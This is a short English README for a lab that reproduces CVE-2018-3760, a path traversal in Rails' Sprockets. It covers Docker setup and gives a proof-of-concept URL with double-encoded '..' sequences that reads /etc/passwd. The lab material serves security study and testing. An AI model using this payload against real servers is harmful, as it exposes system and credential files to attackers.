# Ruby On Rails Path Traversal Vulnerability(CVE-2018-3760)
|
||
|
||
[中文版本(Chinese version)](README.zh-cn.md)
|
||
|
||
Ruby On Rails is a well-known Ruby Web development framework, which uses Sprockets as a static file server in development environment. Sprockets is a Ruby library that compiles and distributes static resource files.
|
||
|
||
There is a path traversal vulnerability caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use `%252e%252e/` to access the root directory and read or execute any file on the target server.

|
||
## Environment setup
|
||
|
||
Enter the following command:
|
||
|
||
```
|
||
docker compose up -d
|
||
```
|
||
|
||
Visit `http://your-ip:3000` and you'll see the welcome page.
|
||
|
||
## POC
|
||
|
||
It will give an error by visiting `http://your-ip:3000/assets/file:%2f%2f/etc/passwd` directly, as the file `/etc/passwd` is not in the allowed directory.
|
||
|
||

|
||
|
||
We can get a list of allowed directories by the error page. Just select one of them, such as `/usr/src/blog/app/assets/images`, then use `%252e%252e/` to jump to the parent directory, and finally read the file `/etc/passwd`:
|
||
|
||
```
|
||
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
|
||
```
